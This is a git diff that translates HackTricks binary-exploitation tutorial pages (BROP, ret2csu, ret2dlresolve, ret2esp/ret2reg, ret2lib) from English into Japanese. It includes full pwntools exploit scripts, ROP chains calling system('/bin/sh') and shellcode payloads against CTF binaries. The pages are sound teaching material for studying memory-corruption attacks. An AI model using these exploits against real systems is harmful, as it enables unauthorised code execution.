common funtions taht could be abused for this: +これに悪用できる一般的な関数は3つあります: - `puts(data)` - `dprintf(fd, data)` -- `write(fd, data, len(data)` +- `write(fd, data, len(data))` -However, the original paper only mentions the **`write`** one, so lets talk about it: +ただし、元の論文では**`write`**のみが言及されているため、これについて話しましょう: -The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. +現在の問題は、**PLT内のwrite関数がどこにあるか**がわからず、**データをソケットに送信するためのfd番号がわからない**ことです。 -However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. +しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続と一致することを期待できます。 -Behaviour signatures to find those functions: +これらの関数を見つけるための動作シグネチャ: -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、putsが見つかりました +- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、dprintfが見つかりました +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、writeが見つかりました -## Automatic Exploitation +## 自動エクスプロイト - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) -## References +## 参考文献 -- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) +- 元の論文:[https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 73cbb4e58..3dfb70404 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,18 +4,17 @@ ## -## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information +## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本情報 -**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. +**ret2csu** は、プログラムを制御しようとする際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。 -When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. +プログラムが特定のライブラリ(libcなど)を使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。 -### The Magic Gadgets in \_\_libc_csu_init +### __libc_csu_init の魔法のガジェット -In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: - -1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. +**`__libc_csu_init`** には、強調すべき2つの命令のシーケンス(gadgets)があります: +1. 最初のシーケンスは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。 ```armasm pop rbx; pop rbp; @@ -25,22 +24,18 @@ pop r14; pop r15; ret; ``` +このガジェットは、スタックから値をポップしてこれらのレジスタを制御することを可能にします。 -This gadget allows us to control these registers by popping values off the stack into them. - -2. The second sequence uses the values we set up to do a couple of things: - - **Move specific values into other registers**, making them ready for us to use as parameters in functions. - - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. - +2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います: +- **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。 +- **r15とrbxの値を足し合わせ、次にrbxを8倍することによって決定された場所にコールを実行**します。 ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` - -3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it: - +3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わる**ことに注意してくださいが、それに到達するためにはいくつかの**条件**を満たす必要があります: ```armasm mov rdx, r15; mov rsi, r14; @@ -52,50 +47,46 @@ jnz ... ret ``` +条件は次のとおりです: -The conditions will be: - -- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func): - - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init: - +- `[r12 + rbx*8]` は呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがなく、PIEがない場合は、単に `_init` 関数を使用できます): +- `_init` が `0x400560` にある場合、GEFを使用してメモリ内のポインタを検索し、`[r12 + rbx*8]` を `_init` へのポインタを持つアドレスにします: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x - 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" +0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- - 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" +0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` +- `rbp` と `rbx` はジャンプを避けるために同じ値でなければなりません +- 考慮すべき省略されたポップがあります -- `rbp` and `rbx` must have the same value to avoid the jump -- There are some omitted pops you need to take into account +## RDI と RSI -## RDI and RSI - -Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets: +ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-Check this page for more info: +詳細についてはこのページを確認してください: {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} -## Example +## 例 -### Using the call +### コールを使用する -Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. +`write()` のようなシステムコールや関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。 -Here's where **ret2csu** comes into play: +ここで **ret2csu** が登場します: -1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. -2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. - -You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: +1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に入れます。 +2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。 +この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです: ```python from pwn import * @@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` - > [!WARNING] -> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. +> 前のエクスプロイトは**`RCE`**を行うことを目的としていないことに注意してください。これは、**`win`**という関数を呼び出すことを目的としており(ROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します)、第3引数には値`0xdeadbeefcafed00d`を指定します。 -### Bypassing the call and reaching ret - -The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call: +### コールをバイパスしてretに到達する +次のエクスプロイトは、**このページ**から抽出されました(https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**。 ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -176,9 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` +### なぜ直接libcを使用しないのか? -### Why Not Just Use libc Directly? - -Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. +通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fc2ea86a..94f19d307 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -2,38 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. +[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、関数 **`_dl_runtime_resolve`** を呼び出すことで行われます。 -The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. +**`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要な構造体への参照をスタックから取得します。 -Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). +したがって、動的リンクが要求されたシンボル(例えば **`system`** 関数)を解決し、設定されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すために、これらの構造体をすべて**偽装する**ことが可能です。 -Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. +通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期 ROP チェーンを作成することによって偽装され**、その後 **構造体** と文字列 **`'/bin/sh'`** が渡され、既知の場所に保存されます。そして、ROP チェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽装された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。 > [!TIP] -> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. +> この技術は、syscall ガジェットがない場合([**ret2syscall**](rop-syscall-execv/) や [SROP](srop-sigreturn-oriented-programming/) のような技術を使用するため)や、libc アドレスを漏洩させる方法がない場合に特に有用です。 -Chek this video for a nice explanation about this technique in the second half of the video: +この技術についての良い説明が動画の後半にあるので、チェックしてください: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -Or check these pages for a step-by-step explanation: +または、ステップバイステップの説明については、これらのページを確認してください: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) -## Attack Summary +## 攻撃の概要 -1. Write fake estructures in some place -2. Set the first argument of system (`$rdi = &'/bin/sh'`) -3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** -4. **Call** `_dl_runtime_resolve` -5. **`system`** will be resolved and called with `'/bin/sh'` as argument - -From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: +1. どこかに偽の構造体を書き込む +2. system の最初の引数を設定する(`$rdi = &'/bin/sh'`) +3. **`_dl_runtime_resolve`** を呼び出すための構造体へのアドレスをスタックに設定する +4. **呼び出す** `_dl_runtime_resolve` +5. **`system`** が解決され、`'/bin/sh'` を引数として呼び出される +[**pwntools ドキュメント**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、**`ret2dlresolve`** 攻撃の見た目は次のようになります: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` +## 例 -## Example - -### Pure Pwntools - -You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: +### 純粋なPwntools +この技術の[**例はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **に非常に良い最終ROPチェーンの説明が含まれていますが、ここに使用された最終的なエクスプロイトがあります:** ```python from pwn import * @@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` - -### Raw - +### 生の ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -186,12 +181,11 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` - -## Other Examples & References +## その他の例と参考文献 - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. +- 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは`.bss`セクションとより大きなサイズで`read`を再度呼び出すために使用され、そこに`dlresolve`の偽テーブルを格納して`system`をロードし、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`を実行します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 868f6ffa5..6879bb08a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,27 +4,24 @@ ## **Ret2esp** -**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. +**ESP(スタックポインタ)が常にスタックの最上部を指しているため**、この技術はEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後ろに配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。 -If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). +**アドレス空間配置のランダム化(ASLR)**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/)を回避する必要があるかもしれません)。 -Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. +さらに、EIPの破損の**後にシェルコードを配置できる**ことは、関数の操作中に実行される`push`や`pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。 -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like: +### スペース不足 +RIPを上書きした後に書き込むスペースが不足している場合(おそらく数バイトだけ)、初期の**`jmp`**シェルコードを次のように書きます: ```armasm sub rsp, 0x30 jmp rsp ``` +スタックの早い段階にシェルコードを書きます。 -And write the shellcode early in the stack. - -### Example - -You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: +### 例 +この技術の例は[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)で見つけることができ、最終的なエクスプロイトは次のようになります: ```python from pwn import * @@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' - sub rsp, 10; - jmp rsp; +sub rsp, 10; +jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` - -You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode: - +この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます。 ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -81,47 +76,41 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() ``` - ## Ret2reg -Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). +同様に、関数がシェルコードが格納されているアドレスを返すことがわかっている場合、**`call eax`** または **`jmp eax`** 命令(**ret2eax** テクニックとして知られる)を利用して、シェルコードを実行する別の方法を提供できます。eaxと同様に、**興味深いアドレスを含む他のレジスタ**も使用できます(**ret2reg**)。 -### Example +### 例 -You can find some examples here: +いくつかの例はここにあります: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. +- **`strcpy`** は **`eax`** にシェルコードが格納されているバッファのアドレスを保存し、**`eax`** は上書きされていないため、`ret2eax` を使用することが可能です。 ## ARM64 ### Ret2sp -In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: - +ARM64 では、**SP レジスタにジャンプする**命令は**存在しません**。**sp をレジスタに移動させ、そのレジスタにジャンプする**ガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした: ```bash for i in `seq 1 30`; do - ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` - -The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless): +私が発見した唯一のものは、spがジャンプする前にコピーされたレジストリの値を変更するものでした(そのため、それは無意味になります):
### Ret2reg -If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: - +レジストリに興味深いアドレスがある場合、適切な命令を見つけることでそこにジャンプすることが可能です。あなたは次のようなものを使用できます: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` +ARM64では、**`x0`**が関数の戻り値を格納します。したがって、x0がユーザーによって制御されるバッファのアドレスを格納し、実行するシェルコードを含む可能性があります。 -In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. - -Example code: - +例のコード: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -129,34 +118,32 @@ Example code: #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("br x0"); - return; +if (do_arg == 1) +__asm__("br x0"); +return; } char* vulnerable_function() { - char buffer[64]; - fgets(buffer, sizeof(buffer)*3, stdin); - return buffer; +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; } int main(int argc, char **argv) { - char* b = vulnerable_function(); - do_stuff(2) - return 0; +char* b = vulnerable_function(); +do_stuff(2) +return 0; } ``` - -Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow: +関数の逆アセンブルを確認すると、**バッファへのアドレス**(bofに対して脆弱であり、**ユーザーによって制御される**)が**`x0`に格納されている**ことがわかります。バッファオーバーフローから戻る前に:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: +また、**`do_stuff`**関数内に**`br x0`**というガジェットが見つかります:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: - +このガジェットを使用してそこにジャンプします。バイナリは**PIEなしでコンパイルされています。** パターンを使用すると、**バッファオーバーフローのオフセットは80である**ことがわかるので、エクスプロイトは次のようになります: ```python from pwn import * @@ -171,15 +158,14 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` - > [!WARNING] -> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ -> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. +> もし `fgets` の代わりに **`read`** のようなものが使われていた場合、**戻りアドレスの最後の2バイトだけを上書きすることで** PIEをバイパスすることが可能だったでしょう。完全なアドレスを知る必要はありませんでした。\ +> `fgets` では、**最後にヌル (0x00) バイトを追加するため**、うまくいきません。 ## Protections -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためには役に立ちません。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。 ## References diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index c213407d3..d4a0fee3d 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -2,103 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **基本情報** -The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. +**Ret2Libc**の本質は、脆弱なプログラムの実行フローを攻撃者が提供したシェルコードをスタック上で実行するのではなく、共有ライブラリ内の関数(例:**system**、**execve**、**strcpy**)にリダイレクトすることです。攻撃者は、スタック上の戻りアドレスを目的のライブラリ関数を指すように変更するペイロードを作成し、呼び出し規約に従って必要な引数が正しく設定されるようにします。 -### **Example Steps (simplified)** +### **例の手順(簡略化)** -- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) -- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function +- 呼び出す関数のアドレス(例:system)と呼び出すコマンド(例:/bin/sh)を取得する +- コマンド文字列を指す最初の引数と関数への実行フローを渡すROPチェーンを生成する -## Finding the addresses - -- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with: +## アドレスの特定 +- 使用する`libc`が現在のマシンのものであると仮定すると、メモリにロードされる場所を次のコマンドで見つけることができます: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` - -- Knowing the libc used it's also possible to find the offset to the `system` function with: - +- 使用されているlibcを知っていれば、`system`関数へのオフセットを見つけることも可能です。 ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with: - +- 使用されているlibcを知っていれば、次のようにして`/bin/sh`関数へのオフセットを見つけることも可能です: ```bash strings 